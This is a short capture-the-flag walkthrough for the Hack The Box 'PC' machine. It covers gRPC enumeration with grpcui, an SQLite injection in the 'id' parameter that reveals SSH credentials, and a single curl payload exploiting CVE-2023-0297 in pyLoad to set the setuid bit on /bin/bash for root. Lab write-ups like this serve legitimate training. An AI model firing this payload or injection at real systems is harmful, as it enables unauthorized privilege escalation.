PC HTB Walkthrough


In this walkthrough I will go through the Easy HTB machine 🙂



In the NMAP scan, we found two ports open (i.e. 22,50051)

Port 50051 ???? – gRPC service

Lets enumerate that service .




There I found the vulnerability, Resource above ☝????

We are going to grpcui to enumerate the service , You can download from here- https://github.com/fullstorydev/grpcui

Download the latest release and extract the package.

Start the grpcui and visit the the Web Ui or it will direct redirect you to the browser.


First Register the user

Then check the response of LoginUser and getinfo

Copy the token and add token header in getinfo & Capture the Request .

Send that request to Repeater as “id” parameter is vulnerable to sqlite injection.

In this way you can get user and passwd for SSH sau:password


There is 8000 port running , and the service running on it is pyLoad

There is a CVE related to it https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad

// Use this cmd to get root :)

curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $''


This box is pretty easy . First time I get to know about gRPC . Overall this box is 7 considered to be an easy machine 🙂

Jai Shree Krishna ❤️

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